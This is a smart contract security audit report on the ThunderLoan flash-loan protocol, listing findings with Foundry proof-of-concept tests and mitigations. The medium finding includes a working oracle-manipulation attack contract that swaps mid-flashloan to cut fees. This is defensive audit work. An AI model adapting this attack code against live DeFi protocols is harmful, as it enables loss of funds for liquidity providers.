ThunderLoan Smart Contract Security Audit Report

Philani A Dlamini

August 2025

Contents

1 ThunderLoan Smart Contract Security Audit

1.1 Vulnerability Summary

Severity Level	Count
High	2
Medium	1
Low	2
Informational	10

1.2 Table of Content

1.3 High Severity Findings

1.3.1 [H - 1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to charge more fees, blocking redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan protocol, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how much fees to give to the liquidity providers.

However, the `deposit` function update the rate without collecting any fees

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowe
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact:

- Redeeming is blocked due to the protocol assuming more tokens are owed, which is a higher amount than it has.
- Rewards are incorrectl calculated, leadig to liquidity providers potentially getting less or more than expected.

Proof of Concept:

1. Liquidity provider deposits
2. User takes out a flash loan
3. It is imposible for liquidity providers to redeem

PoC

Place the following into `ThunderLoanTest.t.sol`

```
function testRedeemAfterFlashLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

Recommended Mitigation:

- Remove the update exchange rate lines from `deposit` function

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowe
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

1.3.2 [H - 2] Storage Collision in `ThunnderLoan::s_flashLoanFee` and `ThunderLoan::s_currentFlashLoan` due to variable mixup in `ThunderLoanUpgradable` leading to protocol freezing

Description: The `ThunderLoan` and `ThunderLoanUpgraded` contracts declare storage variables in a different order, which causes a storage slot collision during the upgrade.

In Solidity, the order of variable declarations determines their storage slot layout. Changing this order in an upgraded implementation causes existing storage variables to point to incorrect slots in the proxy contract's storage.

In this case:

The original `ThunderLoan` defines `s_feePrecision` before `s_flashLoanFee`

The upgraded `ThunderLoanUpgraded` declares `s_flashLoanFee` first and turns `s_feePrecision` into a constant

As a result, after upgrading, the value for `s_flashLoanFee` will be read from the old storage slot previously used by `s_feePrecision`, leading to corrupted data.

You can also see the difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

```
# ThunderLoan.sol
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;

# ThunderLoanUpgraded.sol
uint256 private s_flashLoanFee;
uint256 public constant FEE_PRECISION = 1e18;
```

Impact:

- The s_flashLoanFee value becomes corrupted, resulting in unreasonably high fees after upgrade.
- Users will be unable to repay flash loans, effectively freezing protocol functionality post-upgrade.
- Because storage corruption is irreversible without redeploying, the protocol would face severe downtime and require emergency governance actions.

Severity is marked High because the protocol upgrade can render the system **unusable for all users**.

Proof of Concept:

PoC

Place the following in `ThunderLoanTest`:

```
function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();

        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee before upgrade:", feeBeforeUpgrade);
        console2.log("Fee after upgrade:", feeAfterUpgrade);

        assert(feeAfterUpgrade != feeBeforeUpgrade);
    }
```

Run the test:

```
forge test --mt testUpgradeBreaks -vvv
```

Console output:

```
Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testUpgradeBreaks() (gas: 4651018)
Logs:
  Fee before upgrade: 3000000000000000
  Fee after upgrade: 1000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.37ms (6.87ms CPU time)

Ran 1 test suite in 1.34s (23.37ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tes
```

Recommended Mitigation:

1. Never reorder or remove storage variables in upgradeable contracts.
2. Introduce new variables only at the end of existing storage layout to preserve slot order.
3. Use tooling such as:
   - `forge inspect <ContractName> storage`
   - OpenZeppelin's Storage Gap Pattern (`uint256[50] private __gap;`)
4. Add a storage layout compatibility test in the CI pipeline to prevent accidental ordering changes before deployments.

1.4 Medium Severity Findings

1.4.1 [M -1] Use of TSwap as a Price Oracle Enables Oracle Manipulation Attacks on ThunderLoan

Description: The ThunderLoan protocol relies on TSwap, a constant product AMM (Automated Market Maker), for its price oracle. In a constant product AMM, prices are determined solely by the ratio of reserves between token pairs.

Because trades directly affect the reserve ratio, a malicious actor can manipulate prices by performing large swaps within the same transaction. This enables flashloan-based oracle manipulation attacks where the attacker temporarily skews the price to reduce fees or exploit the protocol before restoring the pool to its original state.

Impact:

- Malicious users can artificially lower fees by manipulating the price oracle mid-transaction.
- Liquidity providers suffer reduced returns due to incorrect pricing and fee calculations.
- Future integrations relying on this oracle for lending or liquidation logic may be at risk of loss of funds.

Proof of Concept:

The following sequence occurs within a single transaction:

1. Attacker takes a flashloan of 1000 tokenA from ThunderLoan, paying the original fee feeOne.
2. Using the borrowed tokenA, the attacker tanks the price on TSwap by selling a large amount of tokens in the pool.

3. While the manipulated price is still active, the attacker takes a second flashloan of 1000 tokenA, now at a much lower fee due to the altered oracle price.
4. The attacker repays both flashloans, profiting from reduced fees.

PoC

Place the following into `ThunderLoanTest.t.sol`

```
function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));

        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));



        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        weth.mint(liquidityProvider, 100e18);

        tokenA.approve(address(tswapPool), 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console2.log("Normal fee for 100 tokenA", normalFeeCost);

        uint256 amountToBorrow = 50e18;
        MalicousFlashLoanReciever flr = new MalicousFlashLoanReciever(
            address(thunderLoan),
            address(tswapPool),
            address(tokenA),
            address(weth),
            address(thunderLoan.getAssetFromToken(tokenA))
        );
        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 calculatedAttackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Calculated attack fee", calculatedAttackFee);
        assert(calculatedAttackFee < normalFeeCost);
    }
```

Place the below into ThunderLoanTest.t.sol

```
contract MalicousFlashLoanReciever is IFlashLoanReceiver {
    ThunderLoan public thunderLoan;
    BuffMockTSwap public tswapPool;
    IERC20 public token;
    IERC20 public weth;
    address public repayAddress;
    bool public attacked = false;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(
        address _thunderLoan,
        address _tswapPool,
        address _token,
        address _weth,
        address _repayAddress
    ) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tswapPool = BuffMockTSwap(_tswapPool);
        token = IERC20(_token);
        weth = IERC20(_weth);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address borrowedToken,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;

            uint256 tokenReserve = token.balanceOf(address(tswapPool));
            uint256 wethReserve = weth.balanceOf(address(tswapPool));
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, tokenReserve, we
            IERC20(borrowedToken).approve(address(tswapPool), 50e18);

            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.times

            thunderLoan.flashloan(address(this), IERC20(borrowedToken), amount, "");
            IERC20(borrowedToken).transfer(address(repayAddress), amount + fee);
        } else {
            feeTwo = fee;
            IERC20(borrowedToken).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Run the test:

```
forge test --mt testOracleManipulation -vvv
```

Console output:

```
Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testOracleManipulation() (gas: 14410106)
Logs:
  Normal fee for 100 tokenA 296147410319118389
  Calculated attack fee 214167600932190305
```

Recommended Mitigation:

- Avoid relying solely on AMM spot prices for fee or price calculations.
- Use Chainlink price feeds or implement time-weighted average price (TWAP) oracles (e.g., Uniswap TWAP) to reduce single-block price manipulation.
- Introduce slippage and fee guards to detect abnormal price movements within one block.

1.5 Low Severity Findings

1.5.1 [L - 1] `ThunderLoan::getCalculatedFee` Tied to WETH-Based Pricing May Limit Flexibility

Description: The `ThunderLoan::getCalculatedFee` function uses `ThunderLoan::getPriceInWeth` to determine the value of borrowed tokens. This couples fee calculations to WETH prices and may result in incorrect fees if other pricing sources are needed.

Recommendation: Consider allowing fee calculations to use a configurable price oracle or more generalized pricing mechanism instead of relying solely on WETH prices.

1.5.2 [L - 1] `ThunderLoan::initialize` function Can Be Front-Run If Not Called Immediately After Deployment

Description: If the `ThunderLoan::initialize` function is not called right after deployment, an attacker could front-run the transaction and initialize the contract with malicious parameters.

Recommendation:

- Ensure initialization occurs in the same deployment script as contract creation.
- Consider using OpenZeppelin's initializer pattern to prevent re-initialization or front-running.

1.6 Informational Findings

1.6.1 [I - 1] Constant or immutable variables incorrectly declared as storage variables, increasing gas costs

Description: `ThunderLoan::s_feePrecision` is declared as a storage variable even though it does not change throughout the protocol's lifecycle. This unnecessarily increases gas costs because storage variables are more expensive to access than constants or immutables. Declaring it as constant or immutable would reduce gas usage.

```
- uint256 private s_feePrecision;
+ uint256 private immutable feePrecision;
```

1.6.2 [I - 2] Missing event emission in ThunderLoan::updateFlashLoanFee

Description: The function `ThunderLoan::updateFlashLoanFee` updates the `s_flashLoanFee` variable but does not emit an event to notify off-chain services or UIs of the change. Emitting an event ensures transparency and easier tracking of protocol parameter updates.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+.      emit FlashLoanFeeUpdated(newFee);
    }
```

1.6.3 [I - 3] Missing zero-address checks

Description: Functions such as `ThunderLoan::repay` and `OracleUpgradeable::__Oracle_init_unchained` do not validate that provided addresses are non-zero. This could lead to unexpected behavior or contract misconfiguration if a zero address is mistakenly passed.

1.6.4 [I - 4] Use of magic numbers in ThunderLoan::initialize

Description: The `ThunderLoan::initialize` function directly uses numeric literals (magic numbers) for parameters such as fee precision and flash loan fees. These should be replaced with constant variables for better readability, maintainability, and reduced risk of errors.

```
+ uint256 public constant FEE_PRECISION = 1e18;
+ uint256 private constant DEFAULT_FLASH_LOAN_FEE = 3e15;
```

```
function initialize(address tswapAddress) external initializer {
    __Ownable_init(msg.sender);
    __UUPSUpgradeable_init();
    __Oracle_init(tswapAddress);
-   s_feePrecision = 1e18;
-   s_flashLoanFee = 3e15;
+   s_feePrecision = FEE_PRECISION;
+   s_flashLoanFee = DEFAULT_FLASH_LOAN_FEE;
```

1.6.5 [I - 5] Public functions that could be marked as external

Description: The following functions are marked as public but are not used internally. Marking them as external would reduce gas usage and make the contract interface clearer:

- `ThunderLoan::repay`
- `ThunderLoan::isCurrentlyFlashLoaning`
- `ThunderLoan::getAssetFromToken`
- `ThunderLoanUpgraded::repay`
- `ThunderLoanUpgraded::isCurrentlyFlashLoaning`
- `ThunderLoanUpgraded::getAssetFromToken`

1.6.6 [I - 6] Missing NatSpec comments

Description: Functions such as `ThunderLoan::deposit`, `ThunderLoan::setAllowedToken`, and the `IFlashLoanReceiver` interface lack NatSpec comments. Adding them improves code readability, facilitates automatic documentation generation, and provides clear developer guidelines.

1.6.7 [I - 7] Unused imports in IFlashLoanReceiver

Description: The `IFlashLoanReceiver` interface contains unused imports, increasing contract size unnecessarily. Removing them helps optimize code size and clarity.

1.6.8 [I - 8] `IThunderLoan` Interface Not Implemented by `ThunderLoan` Protocol

1.6.9 [I - 9] Multiple Storage Reads in updateExchangeRate() May Increase Gas Costs

Description: The function updateExchangeRate() reads from s_exchangeRate multiple times instead of storing it in a local variable. This results in unnecessary gas consumption.

Recommendation: Cache the s_exchangeRate value in memory before performing computations to reduce redundant storage reads.